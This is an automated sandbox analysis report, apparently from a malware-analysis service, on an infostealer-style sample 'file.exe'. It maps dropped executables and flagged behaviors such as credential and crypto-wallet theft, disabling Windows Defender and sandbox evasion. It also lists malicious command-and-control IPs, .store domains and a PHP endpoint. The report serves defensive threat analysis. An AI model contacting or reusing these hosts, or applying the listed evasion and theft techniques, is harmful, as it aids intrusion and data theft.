behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1546614 Sample: file.exe Startdate: 01/11/2024 Architecture: WINDOWS Score: 100 86 thumbystriw.store 2->86 88 presticitpo.store 2->88 90 4 other IPs or domains 2->90 104 Suricata IDS alerts for network traffic 2->104 106 Found malware configuration 2->106 108 Antivirus detection for dropped file 2->108 110 16 other signatures 2->110 9 skotes.exe 4 25 2->9         started        14 file.exe 2 2->14         started        16 3e1d30d118.exe 2->16         started        18 4 other processes 2->18 signatures3 process4 dnsIp5 98 185.215.113.43, 57639, 57653, 57773 WHOLESALECONNECTIONSNL Portugal 9->98 74 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 9->74 dropped 76 C:\Users\user\AppData\...\a8c7d2631f.exe, PE32 9->76 dropped 78 C:\Users\user\AppData\...\c077ee22d1.exe, PE32 9->78 dropped 84 5 other malicious files 9->84 dropped 154 Creates multiple autostart registry keys 9->154 156 Hides threads from debuggers 9->156 158 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->158 20 3e1d30d118.exe 2 9->20         started        24 c077ee22d1.exe 9->24         started        27 a8c7d2631f.exe 9->27         started        29 num.exe 9->29         started        100 necklacedmny.store 188.114.96.3, 443, 49730, 49731 CLOUDFLARENETUS European Union 14->100 102 185.215.113.16, 49738, 57660, 57777 WHOLESALECONNECTIONSNL Portugal 14->102 80 C:\Users\user\...\SP29EZJLUAF4OXVNPKLP.exe, PE32 14->80 dropped 82 C:\Users\user\...\910S1Q63XQ87I6P4.exe, PE32 14->82 dropped 160 Query firmware table information (likely to detect VMs) 14->160 162 Found many strings related to Crypto-Wallets (likely being stolen) 14->162 164 Tries to evade debugger and weak emulator (self modifying code) 14->164 174 2 other signatures 14->174 31 SP29EZJLUAF4OXVNPKLP.exe 4 14->31         started        33 910S1Q63XQ87I6P4.exe 9 1 14->33         started        166 Tries to harvest and steal ftp login credentials 16->166 168 Tries to harvest and steal browser information (history, passwords, etc) 16->168 170 Tries to steal Crypto Currency Wallets 16->170 172 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->172 35 firefox.exe 18->35         started        37 taskkill.exe 18->37         started        file6 signatures7 process8 dnsIp9 68 C:\Users\user\...\J3F2AVPL447NSFJEKUT1.exe, PE32 20->68 dropped 70 C:\Users\...\6QPF41LR0H1R83WBFIVMMOQHW.exe, PE32 20->70 dropped 112 Antivirus detection for dropped file 20->112 114 Multi AV Scanner detection for dropped file 20->114 116 Detected unpacking (changes PE section rights) 20->116 130 2 other signatures 20->130 39 J3F2AVPL447NSFJEKUT1.exe 20->39         started        42 6QPF41LR0H1R83WBFIVMMOQHW.exe 20->42         started        92 185.215.113.206, 57838, 80 WHOLESALECONNECTIONSNL Portugal 24->92 132 2 other signatures 24->132 118 Binary is likely a compiled AutoIt script file 27->118 44 taskkill.exe 27->44         started        46 taskkill.exe 27->46         started        48 taskkill.exe 27->48         started        54 3 other processes 27->54 72 C:\Users\user\AppData\Local\...\skotes.exe, PE32 31->72 dropped 120 Machine Learning detection for dropped file 31->120 122 Tries to evade debugger and weak emulator (self modifying code) 31->122 134 2 other signatures 31->134 50 skotes.exe 31->50         started        124 Modifies windows update settings 33->124 126 Disables Windows Defender Tamper protection 33->126 128 Disable Windows Defender notifications (registry) 33->128 136 2 other signatures 33->136 94 prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 GOOGLEUS United States 35->94 96 127.0.0.1 unknown unknown 35->96 56 2 other processes 35->56 52 conhost.exe 37->52         started        file10 signatures11 process12 signatures13 138 Antivirus detection for dropped file 39->138 140 Detected unpacking (changes PE section rights) 39->140 142 Tries to detect sandboxes and other dynamic analysis tools (window names) 39->142 144 Tries to detect sandboxes / dynamic malware analysis system (registry check) 42->144 146 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 42->146 58 conhost.exe 44->58         started        60 conhost.exe 46->60         started        62 conhost.exe 48->62         started        148 Machine Learning detection for dropped file 50->148 150 Tries to evade debugger and weak emulator (self modifying code) 50->150 152 Hides threads from debuggers 50->152 64 conhost.exe 54->64         started        66 conhost.exe 54->66         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
188.114.96.3
 necklacedmny.store European Union
13335 CLOUDFLARENETUS true
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
necklacedmny.store 188.114.96.3 true
presticitpo.store unknown unknown
thumbystriw.store unknown unknown
crisiwarny.store unknown unknown
fadehairucw.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ true
    		unknown
    fadehairucw.store true
      		unknown
      http://185.215.113.206/6c4adf523b719729.php true
        		unknown
        founpiuer.store true
          		unknown
          presticitpo.store true
            		unknown